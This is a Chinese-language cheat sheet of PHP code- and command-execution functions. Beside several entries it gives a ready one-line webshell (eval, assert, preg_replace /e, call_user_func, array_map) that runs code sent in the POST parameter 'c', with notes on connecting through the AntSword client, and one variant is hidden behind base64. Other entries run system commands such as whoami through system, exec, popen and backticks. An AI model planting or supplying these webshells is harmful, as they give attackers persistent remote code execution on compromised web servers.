代碼執行
eval
(PHP 4, PHP 5, PHP 7)
eval( string $code) : mixed
把字符串 code
作為PHP代碼執行。
eval($_POST['c']);
直接蟻劍鏈接密碼為c
assert
(PHP 4, PHP 5, PHP 7)
assert( mixed $assertion[, Throwable $exception]) : bool
如果 assertion
是字符串,它將會被 assert() 當做 PHP 代碼來執行。
使用方法同eval
assert($_POST['c']);
preg_replace
(PHP 4, PHP 5, PHP 7)
preg_replace ( mixed $pattern,mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] ) : mixed
preg_replace — 執行一個正則表達式的搜索和替換
搜索subject中匹配pattern的部分,以replacement進行替換。
當使用被棄用的 e
修飾符時, 這個函數會轉義一些字符,即:'
、"
、 \
和 NULL
然后進行后向引用替換。在完成替換后, 引擎會將結果字符串作為php代碼使用eval方式進行評估並將返回值作為最終參與替換的字符串。
舉個栗子:
echo preg_replace('/chabug/e','phpinfo()','asdasdchabugasd');
/e
修飾符前的正則表達式匹配后面的字符串參數,將chabug
字符串替換為phpinfo()
並且以eval()
的方式執行。
一句話:
echo preg_replace('/.*/e',$_POST['c'],'');
call_user_func
(PHP 4, PHP 5, PHP 7)
call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed
call_user_func
— 把第一個參數作為回調函數調用
第一個參數 callback
是被調用的回調函數,其余參數是回調函數的參數。
舉個例子:
call_user_func('phpinfo');
一句話shell:
call_user_func($_POST['a'], $_POST['c']);
蟻劍連接
需要設置http body和編碼器
call_user_func_array
(PHP 4 >= 4.0.4, PHP 5, PHP 7)
call_user_func_array ( callable $callback , array $param_arr ) : mixed
call_user_func_array
調用回調函數,並把一個數組參數作為回調函數的參數
舉個例子:
call_user_func_array($_POST['a'], $_POST['c']);
和上一個函數相比只是將$c
改為數組傳入,蟻劍連接方式同理。
create_function
(PHP 4 >= 4.0.1, PHP 5, PHP 7)
create_function ( string $args , string $code ) : string
create_function函數接收兩個參數$args
和 $code
然后組成新函數function_lambda_func($args){$code;}
並eval(function_lambda_func($args){$code;})
我們不需要傳參數,直接把$code
改為普通的一句話就行了。
$c=create_function("", base64_decode('QGV2YWwoJF9QT1NUWyJjIl0pOw=='));$c();
密碼c
array_map
(PHP 4 >= 4.0.6, PHP 5, PHP 7)
array_map ( callable $callback , array $array1 [, array $... ] ) : array
返回數組,是為 array1
每個元素應用 callback函數之后的數組。 callback 函數形參的數量和傳給 array_map()
數組數量,兩者必須一樣。
一句話:
array_map('assert',array($_POST['c']));
還有諸如array_filter
、uksort
、uasort
、array_walk + preg_replace
、preg_filter
、mb_ereg_replace
、register_shutdown_function
、filter_var
更多的回調函數請移步 創造tips的秘籍——PHP回調后門
命令執行
system
system ( string $command [, int &$return_var ] ) : string
system — 執行外部程序,並且顯示輸出,本函數執行 command 參數所指定的命令, 並且輸出執行結果。
system('whoami');
passthru
passthru ( string $command [, int &$return_var ] ) : void
passthru — 執行外部程序並且顯示原始輸出
passthru('whoami');
exec
exec ( string $command [, array &$output [, int &$return_var ]] ) : string
exec() 執行 command 參數所指定的命令。
echo exec("whoami");
pcntl_exec
pcntl_exec ( string $path [, array $args [, array $envs ]] ) : void
pcntl_exec — 在當前進程空間執行指定程序
$path
指定可執行二進制文件路徑
pcntl_exec ( "/bin/bash" , array("whoami"));
該模塊不能在非Unix平台(Windows)上運行。
shell_exec
shell_exec ( string $cmd ) : string
通過 shell 環境執行命令,並且將完整的輸出以字符串的方式返回。
echo shell_exec('whoami');
popen
popen ( string $command , string $mode ) : resource
打開一個指向進程的管道,該進程由派生給定的 command 命令執行而產生。
$handle = popen('cmd.exe /c whoami', 'r');
$read = fread($handle, 2096);
echo $read;
pclose($handle);
與之對應的還有proc_open()
函數
反引號
在php中稱之為執行運算符,PHP 將嘗試將反引號中的內容作為 shell 命令來執行,並將其輸出信息返回,使用反引號運算符的效果與函數 shell_exec()
相同。
echo `whoami`;
ob_start
ob_start ([ callback $output_callback [, int $chunk_size [, bool $erase ]]] ) : bool
$cmd = 'system';
ob_start($cmd);
echo "$_GET[a]";
ob_end_flush();
實際上還是通過回調system函數,繞不過disablefunc
講不清楚,直接貼鏈接